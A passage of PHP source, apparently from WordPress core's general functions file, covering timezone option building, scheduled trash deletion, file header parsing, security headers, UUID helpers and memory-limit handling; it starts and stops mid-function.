$locale_loaded = $locale ? $locale : get_locale();
$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
unload_textdomain( 'continents-cities' );
load_textdomain( 'continents-cities', $mofile );
$mo_loaded = true;
}
$zonen = array();
foreach ( timezone_identifiers_list() as $zone ) {
$zone = explode( '/', $zone );
if ( !in_array( $zone[0], $continents ) ) {
continue;
}
// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
$exists = array(
0 => ( isset( $zone[0] ) && $zone[0] ),
1 => ( isset( $zone[1] ) && $zone[1] ),
2 => ( isset( $zone[2] ) && $zone[2] ),
);
$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
$exists[4] = ( $exists[1] && $exists[3] );
$exists[5] = ( $exists[2] && $exists[3] );
$zonen[] = array(
'continent' => ( $exists[0] ? $zone[0] : '' ),
'city' => ( $exists[1] ? $zone[1] : '' ),
'subcity' => ( $exists[2] ? $zone[2] : '' ),
't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
);
}
usort( $zonen, '_wp_timezone_choice_usort_callback' );
$structure = array();
if ( empty( $selected_zone ) ) {
$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
}
foreach ( $zonen as $key => $zone ) {
// Build value in an array to join later
$value = array( $zone['continent'] );
if ( empty( $zone['city'] ) ) {
// It's at the continent level (generally won't happen)
$display = $zone['t_continent'];
} else {
// It's inside a continent group
// Continent optgroup
if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
$label = $zone['t_continent'];
$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
}
// Add the city to the value
$value[] = $zone['city'];
$display = $zone['t_city'];
if ( !empty( $zone['subcity'] ) ) {
// Add the subcity to the value
$value[] = $zone['subcity'];
$display .= ' - ' . $zone['t_subcity'];
}
}
// Build the value
$value = join( '/', $value );
$selected = '';
if ( $value === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
// Close continent optgroup
if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
$structure[] = '</optgroup>';
}
}
// Do UTC
$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
$selected = '';
if ( 'UTC' === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
$structure[] = '</optgroup>';
// Do manual UTC offsets
$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
foreach ( $offset_range as $offset ) {
if ( 0 <= $offset )
$offset_name = '+' . $offset;
else
$offset_name = (string) $offset;
$offset_value = $offset_name;
$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
$offset_name = 'UTC' . $offset_name;
$offset_value = 'UTC' . $offset_value;
$selected = '';
if ( $offset_value === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
}
$structure[] = '</optgroup>';
return join( "\n", $structure );
}
/**
* Strip close comment and close php tags from file headers used by WP.
*
* @since 2.8.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/8497
*
* @param string $str Header comment to clean up.
* @return string
*/
function _cleanup_header_comment( $str ) {
return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
}
/**
* Permanently delete comments or posts of any type that have held a status
* of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
*
* The default value of `EMPTY_TRASH_DAYS` is 30 (days).
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_scheduled_delete() {
global $wpdb;
$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $posts_to_delete as $post ) {
$post_id = (int) $post['post_id'];
if ( !$post_id )
continue;
$del_post = get_post($post_id);
if ( !$del_post || 'trash' != $del_post->post_status ) {
delete_post_meta($post_id, '_wp_trash_meta_status');
delete_post_meta($post_id, '_wp_trash_meta_time');
} else {
wp_delete_post($post_id);
}
}
$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $comments_to_delete as $comment ) {
$comment_id = (int) $comment['comment_id'];
if ( !$comment_id )
continue;
$del_comment = get_comment($comment_id);
if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
delete_comment_meta($comment_id, '_wp_trash_meta_time');
delete_comment_meta($comment_id, '_wp_trash_meta_status');
} else {
wp_delete_comment( $del_comment );
}
}
}
/**
* Retrieve metadata from a file.
*
* Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
* Each piece of metadata must be on its own line. Fields can not span multiple
* lines, the value will get cut at the end of the first line.
*
* If the file data is not within that first 8kiB, then the author should correct
* their plugin file and move the data headers to the top.
*
* @link https://codex.wordpress.org/File_Header
*
* @since 2.9.0
*
* @param string $file Path to the file.
* @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
* @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
* Default empty.
* @return array Array of file headers in `HeaderKey => Header Value` format.
*/
function get_file_data( $file, $default_headers, $context = '' ) {
// We don't need to write to the file, so just open for reading.
$fp = fopen( $file, 'r' );
// Pull only the first 8kiB of the file in.
$file_data = fread( $fp, 8192 );
// PHP will close file handle, but we are good citizens.
fclose( $fp );
// Make sure we catch CR-only line endings.
$file_data = str_replace( "\r", "\n", $file_data );
/**
* Filters extra file headers by context.
*
* The dynamic portion of the hook name, `$context`, refers to
* the context where extra headers might be loaded.
*
* @since 2.9.0
*
* @param array $extra_context_headers Empty array by default.
*/
if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
$all_headers = array_merge( $extra_headers, (array) $default_headers );
} else {
$all_headers = $default_headers;
}
foreach ( $all_headers as $field => $regex ) {
if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
else
$all_headers[ $field ] = '';
}
return $all_headers;
}
/**
* Returns true.
*
* Useful for returning true to filters easily.
*
* @since 3.0.0
*
* @see __return_false()
*
* @return true True.
*/
function __return_true() {
return true;
}
/**
* Returns false.
*
* Useful for returning false to filters easily.
*
* @since 3.0.0
*
* @see __return_true()
*
* @return false False.
*/
function __return_false() {
return false;
}
/**
* Returns 0.
*
* Useful for returning 0 to filters easily.
*
* @since 3.0.0
*
* @return int 0.
*/
function __return_zero() {
return 0;
}
/**
* Returns an empty array.
*
* Useful for returning an empty array to filters easily.
*
* @since 3.0.0
*
* @return array Empty array.
*/
function __return_empty_array() {
return array();
}
/**
* Returns null.
*
* Useful for returning null to filters easily.
*
* @since 3.4.0
*
* @return null Null value.
*/
function __return_null() {
return null;
}
/**
* Returns an empty string.
*
* Useful for returning an empty string to filters easily.
*
* @since 3.7.0
*
* @see __return_null()
*
* @return string Empty string.
*/
function __return_empty_string() {
return '';
}
/**
* Send a HTTP header to disable content type sniffing in browsers which support it.
*
* @since 3.0.0
*
* @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
* @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
*/
function send_nosniff_header() {
@header( 'X-Content-Type-Options: nosniff' );
}
/**
* Return a MySQL expression for selecting the week number based on the start_of_week option.
*
* @ignore
* @since 3.0.0
*
* @param string $column Database column.
* @return string SQL clause.
*/
function _wp_mysql_week( $column ) {
switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
case 1 :
return "WEEK( $column, 1 )";
case 2 :
case 3 :
case 4 :
case 5 :
case 6 :
return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
case 0 :
default :
return "WEEK( $column, 0 )";
}
}
/**
* Find hierarchy loops using a callback function that maps object IDs to parent IDs.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
* Use null to always use $callback
* @param array $callback_args Optional. Additional arguments to send to $callback.
* @return array IDs of all members of loop.
*/
function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
return array();
return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
}
/**
* Use the "The Tortoise and the Hare" algorithm to detect loops.
*
* For every step of the algorithm, the hare takes two steps and the tortoise one.
* If the hare ever laps the tortoise, there must be a loop.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
* Default empty array.
* @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
* @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
* to true if you already know the given $start is part of a loop (otherwise
* the returned array might include branches). Default false.
* @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
* $_return_loop
*/
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
$tortoise = $hare = $evanescent_hare = $start;
$return = array();
// Set evanescent_hare to one past hare
// Increment hare two steps
while (
$tortoise
&&
( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
&&
( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
) {
if ( $_return_loop )
$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
// tortoise got lapped - must be a loop
if ( $tortoise == $evanescent_hare || $tortoise == $hare )
return $_return_loop ? $return : $tortoise;
// Increment tortoise by one step
$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
}
return false;
}
/**
* Send a HTTP header to limit rendering of pages to same origin iframes.
*
* @since 3.1.3
*
* @see https://developer.mozilla.org/en/the_x-frame-options_response_header
*/
function send_frame_options_header() {
@header( 'X-Frame-Options: SAMEORIGIN' );
}
/**
* Retrieve a list of protocols to allow in HTML attributes.
*
* @since 3.3.0
* @since 4.3.0 Added 'webcal' to the protocols array.
* @since 4.7.0 Added 'urn' to the protocols array.
*
* @see wp_kses()
* @see esc_url()
*
* @staticvar array $protocols
*
* @return array Array of allowed protocols. Defaults to an array containing 'http', 'https',
* 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
* 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
*/
function wp_allowed_protocols() {
static $protocols = array();
if ( empty( $protocols ) ) {
$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
}
if ( ! did_action( 'wp_loaded' ) ) {
/**
* Filters the list of protocols allowed in HTML attributes.
*
* @since 3.0.0
*
* @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
*/
$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
}
return $protocols;
}
/**
* Return a comma-separated string of functions that have been called to get
* to the current point in code.
*
* @since 3.4.0
*
* @see https://core.trac.wordpress.org/ticket/19589
*
* @param string $ignore_class Optional. A class to ignore all function calls within - useful
* when you want to just give info about the callee. Default null.
* @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
* back to the source of the issue. Default 0.
* @param bool $pretty Optional. Whether or not you want a comma separated string or raw
* array returned. Default true.
* @return string|array Either a string containing a reversed comma separated trace or an array
* of individual calls.
*/
function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
$trace = debug_backtrace( false );
else
$trace = debug_backtrace();
$caller = array();
$check_class = ! is_null( $ignore_class );
$skip_frames++; // skip this function
foreach ( $trace as $call ) {
if ( $skip_frames > 0 ) {
$skip_frames--;
} elseif ( isset( $call['class'] ) ) {
if ( $check_class && $ignore_class == $call['class'] )
continue; // Filter out calls
$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
} else {
if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
$caller[] = "{$call['function']}('{$call['args'][0]}')";
} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
} else {
$caller[] = $call['function'];
}
}
}
if ( $pretty )
return join( ', ', array_reverse( $caller ) );
else
return $caller;
}
/**
* Retrieve ids that are not already present in the cache.
*
* @since 3.4.0
* @access private
*
* @param array $object_ids ID list.
* @param string $cache_key The cache bucket to check against.
*
* @return array List of ids not present in the cache.
*/
function _get_non_cached_ids( $object_ids, $cache_key ) {
$clean = array();
foreach ( $object_ids as $id ) {
$id = (int) $id;
if ( !wp_cache_get( $id, $cache_key ) ) {
$clean[] = $id;
}
}
return $clean;
}
/**
* Test if the current device has the capability to upload files.
*
* @since 3.4.0
* @access private
*
* @return bool Whether the device is able to upload files.
*/
function _device_can_upload() {
if ( ! wp_is_mobile() )
return true;
$ua = $_SERVER['HTTP_USER_AGENT'];
if ( strpos($ua, 'iPhone') !== false
|| strpos($ua, 'iPad') !== false
|| strpos($ua, 'iPod') !== false ) {
return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
}
return true;
}
/**
* Test if a given path is a stream URL
*
* @since 3.5.0
*
* @param string $path The resource path or URL.
* @return bool True if the path is a stream URL.
*/
function wp_is_stream( $path ) {
if ( false === strpos( $path, '://' ) ) {
// $path isn't a stream
return false;
}
$wrappers = stream_get_wrappers();
$wrappers = array_map( 'preg_quote', $wrappers );
$wrappers_re = '(' . join( '|', $wrappers ) . ')';
return preg_match( "!^$wrappers_re://!", $path ) === 1;
}
/**
* Test if the supplied date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @link https://secure.php.net/manual/en/function.checkdate.php
*
* @param int $month Month number.
* @param int $day Day number.
* @param int $year Year number.
* @param string $source_date The date to filter.
* @return bool True if valid date, false if not valid date.
*/
function wp_checkdate( $month, $day, $year, $source_date ) {
/**
* Filters whether the given date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @param bool $checkdate Whether the given date is valid.
* @param string $source_date Date to check.
*/
return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
}
/**
* Load the auth check for monitoring whether the user is still logged in.
*
* Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
*
* This is disabled for certain screens where a login screen could cause an
* inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
* for fine-grained control.
*
* @since 3.6.0
*/
function wp_auth_check_load() {
if ( ! is_admin() && ! is_user_logged_in() )
return;
if ( defined( 'IFRAME_REQUEST' ) )
return;
$screen = get_current_screen();
$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
$show = ! in_array( $screen->id, $hidden );
/**
* Filters whether to load the authentication check.
*
* Passing a falsey value to the filter will effectively short-circuit
* loading the authentication check.
*
* @since 3.6.0
*
* @param bool $show Whether to load the authentication check.
* @param WP_Screen $screen The current screen object.
*/
if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
wp_enqueue_style( 'wp-auth-check' );
wp_enqueue_script( 'wp-auth-check' );
add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
}
}
/**
* Output the HTML that shows the wp-login dialog when the user is no longer logged in.
*
* @since 3.6.0
*/
function wp_auth_check_html() {
$login_url = wp_login_url();
$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
/**
* Filters whether the authentication check originated at the same domain.
*
* @since 3.6.0
*
* @param bool $same_domain Whether the authentication check originated at the same domain.
*/
$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
?>
<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
<div id="wp-auth-check-bg"></div>
<div id="wp-auth-check">
<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
<?php
if ( $same_domain ) {
$login_src = add_query_arg( array(
'interim-login' => '1',
'wp_lang' => get_user_locale(),
), $login_url );
?>
<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
<?php
}
?>
<div class="wp-auth-fallback">
<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
</div>
</div>
</div>
<?php
}
/**
* Check whether a user is still logged in, for the heartbeat.
*
* Send a result that shows a log-in box if the user is no longer logged in,
* or if their cookie is within the grace period.
*
* @since 3.6.0
*
* @global int $login_grace_period
*
* @param array $response The Heartbeat response.
* @return array $response The Heartbeat response with 'wp-auth-check' value set.
*/
function wp_auth_check( $response ) {
$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
return $response;
}
/**
* Return RegEx body to liberally match an opening HTML tag.
*
* Matches an opening HTML tag that:
* 1. Is self-closing or
* 2. Has no body but has a closing tag of the same name or
* 3. Contains a body and a closing tag of the same name
*
* Note: this RegEx does not balance inner tags and does not attempt
* to produce valid HTML
*
* @since 3.6.0
*
* @param string $tag An HTML tag name. Example: 'video'.
* @return string Tag RegEx.
*/
function get_tag_regex( $tag ) {
if ( empty( $tag ) )
return;
return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
}
/**
* Retrieve a canonical form of the provided charset appropriate for passing to PHP
* functions such as htmlspecialchars() and charset html attributes.
*
* @since 3.6.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/23688
*
* @param string $charset A charset name.
* @return string The canonical form of the charset.
*/
function _canonical_charset( $charset ) {
if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset) ) {
return 'UTF-8';
}
if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
return 'ISO-8859-1';
}
return $charset;
}
/**
* Set the mbstring internal encoding to a binary safe encoding when func_overload
* is enabled.
*
* When mbstring.func_overload is in use for multi-byte encodings, the results from
* strlen() and similar functions respect the utf8 characters, causing binary data
* to return incorrect lengths.
*
* This function overrides the mbstring encoding to a binary-safe encoding, and
* resets it to the users expected encoding afterwards through the
* `reset_mbstring_encoding` function.
*
* It is safe to recursively call this function, however each
* `mbstring_binary_safe_encoding()` call must be followed up with an equal number
* of `reset_mbstring_encoding()` calls.
*
* @since 3.7.0
*
* @see reset_mbstring_encoding()
*
* @staticvar array $encodings
* @staticvar bool $overloaded
*
* @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
* Default false.
*/
function mbstring_binary_safe_encoding( $reset = false ) {
static $encodings = array();
static $overloaded = null;
if ( is_null( $overloaded ) )
$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
if ( false === $overloaded )
return;
if ( ! $reset ) {
$encoding = mb_internal_encoding();
array_push( $encodings, $encoding );
mb_internal_encoding( 'ISO-8859-1' );
}
if ( $reset && $encodings ) {
$encoding = array_pop( $encodings );
mb_internal_encoding( $encoding );
}
}
/**
* Reset the mbstring internal encoding to a users previously set encoding.
*
* @see mbstring_binary_safe_encoding()
*
* @since 3.7.0
*/
function reset_mbstring_encoding() {
mbstring_binary_safe_encoding( true );
}
/**
* Filter/validate a variable as a boolean.
*
* Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
*
* @since 4.0.0
*
* @param mixed $var Boolean value to validate.
* @return bool Whether the value is validated.
*/
function wp_validate_boolean( $var ) {
if ( is_bool( $var ) ) {
return $var;
}
if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
return false;
}
return (bool) $var;
}
/**
* Delete a file
*
* @since 4.2.0
*
* @param string $file The path to the file to delete.
*/
function wp_delete_file( $file ) {
/**
* Filters the path of the file to delete.
*
* @since 2.1.0
*
* @param string $file Path to the file to delete.
*/
$delete = apply_filters( 'wp_delete_file', $file );
if ( ! empty( $delete ) ) {
@unlink( $delete );
}
}
/**
* Deletes a file if its path is within the given directory.
*
* @since 4.9.7
*
* @param string $file Absolute path to the file to delete.
* @param string $directory Absolute path to a directory.
* @return bool True on success, false on failure.
*/
function wp_delete_file_from_directory( $file, $directory ) {
$real_file = realpath( wp_normalize_path( $file ) );
$real_directory = realpath( wp_normalize_path( $directory ) );
if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
return false;
}
wp_delete_file( $file );
return true;
}
/**
* Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
*
* This prevents reusing the same tab for a preview when the user has navigated away.
*
* @since 4.3.0
*
* @global WP_Post $post
*/
function wp_post_preview_js() {
global $post;
if ( ! is_preview() || empty( $post ) ) {
return;
}
// Has to match the window name used in post_submit_meta_box()
$name = 'wp-preview-' . (int) $post->ID;
?>
<script>
( function() {
var query = document.location.search;
if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
window.name = '<?php echo $name; ?>';
}
if ( window.addEventListener ) {
window.addEventListener( 'unload', function() { window.name = ''; }, false );
}
}());
</script>
<?php
}
/**
* Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601/RFC3339.
*
* Explicitly strips timezones, as datetimes are not saved with any timezone
* information. Including any information on the offset could be misleading.
*
* @since 4.4.0
*
* @param string $date_string Date string to parse and format.
* @return string Date formatted for ISO8601/RFC3339.
*/
function mysql_to_rfc3339( $date_string ) {
$formatted = mysql2date( 'c', $date_string, false );
// Strip timezone information
return preg_replace( '/(?:Z|[+-]\d{2}(?::\d{2})?)$/', '', $formatted );
}
/**
* Attempts to raise the PHP memory limit for memory intensive processes.
*
* Only allows raising the existing limit and prevents lowering it.
*
* @since 4.6.0
*
* @param string $context Optional. Context in which the function is called. Accepts either 'admin',
* 'image', or an arbitrary other context. If an arbitrary context is passed,
* the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
* invoked. Default 'admin'.
* @return bool|int|string The limit that was set or false on failure.
*/
function wp_raise_memory_limit( $context = 'admin' ) {
// Exit early if the limit cannot be changed.
if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
return false;
}
$current_limit = @ini_get( 'memory_limit' );
$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
if ( -1 === $current_limit_int ) {
return false;
}
$wp_max_limit = WP_MAX_MEMORY_LIMIT;
$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
$filtered_limit = $wp_max_limit;
switch ( $context ) {
case 'admin':
/**
* Filters the maximum memory limit available for administration screens.
*
* This only applies to administrators, who may require more memory for tasks
* like updates. Memory limits when processing images (uploaded or edited by
* users of any role) are handled separately.
*
* The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
* limit available when in the administration back end. The default is 256M
* (256 megabytes of memory) or the original `memory_limit` php.ini value if
* this is higher.
*
* @since 3.0.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
* (bytes), or a shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
break;
case 'image':
/**
* Filters the memory limit allocated for image manipulation.
*
* @since 3.5.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default `WP_MAX_MEMORY_LIMIT` or the original
* php.ini `memory_limit`, whichever is higher.
* Accepts an integer (bytes), or a shorthand string
* notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
break;
default:
/**
* Filters the memory limit allocated for arbitrary contexts.
*
* The dynamic portion of the hook name, `$context`, refers to an arbitrary
* context passed on calling the function. This allows for plugins to define
* their own contexts for raising the memory limit.
*
* @since 4.6.0
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default '256M' or the original php.ini `memory_limit`,
* whichever is higher. Accepts an integer (bytes), or a
* shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
break;
}
$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
return $filtered_limit;
} else {
return false;
}
} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
return $wp_max_limit;
} else {
return false;
}
}
return false;
}
/**
* Generate a random UUID (version 4).
*
* @since 4.7.0
*
* @return string UUID.
*/
function wp_generate_uuid4() {
return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0x0fff ) | 0x4000,
mt_rand( 0, 0x3fff ) | 0x8000,
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
);
}
/**
* Validates that a UUID is valid.
*
* @since 4.9.0
*
* @param mixed $uuid UUID to check.
* @param int $version Specify which version of UUID to check against. Default is none, to accept any UUID version. Otherwise, only version allowed is `4`.
* @return bool The string is a valid UUID or false on failure.
*/
function wp_is_uuid( $uuid, $version = null ) {
if ( ! is_string( $uuid ) ) {
return false;
}
if ( is_numeric( $version ) ) {
if ( 4 !== (int) $version ) {
_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
return false;
}
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
} else {
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
}
return (bool) preg_match( $regex, $uuid );
}
/**
* Get unique ID.
*
* This is a PHP implementation of Underscore's uniqueId method. A static variable
* contains an integer that is incremented with each call. This number is returned
* with the optional prefix. As such the returned value is not universally unique,
* but it is unique across the life of the PHP process.
*
* @since 5.0.3
*
* @staticvar int $id_counter
*
* @param string $prefix Prefix for the returned ID.
* @return string Unique ID.
*/
function wp_unique_id( $prefix = '' ) {
static $id_counter = 0;
return $prefix . (string) ++$id_counter;
}
/**
* Get last changed date for the specified cache group.
*
* @since 4.7.0
*
* @param string $group Where the cache contents are grouped.
*
* @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
*/
function wp_cache_get_last_changed( $group ) {
$last_changed = wp_cache_get( 'last_changed', $group );
if ( ! $last_changed ) {
$last_changed = microtime();
wp_cache_set( 'last_changed', $last_changed, $group );
}
return $last_changed;
}
/**
* Send an email to the old site admin email address when the site admin email address changes.
*
* @since 4.9.0
*
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
* @param string $option_name The relevant database option name.
*/
function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
$send = true;
// Don't send the notification to the default 'admin_email' value.
if ( 'you@example.com' === $old_email ) {
$send = false;
}
/**
* Filters whether to send the site admin email change notification email.
*
* @since 4.9.0
*
* @param bool $send Whether to send the email notification.
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
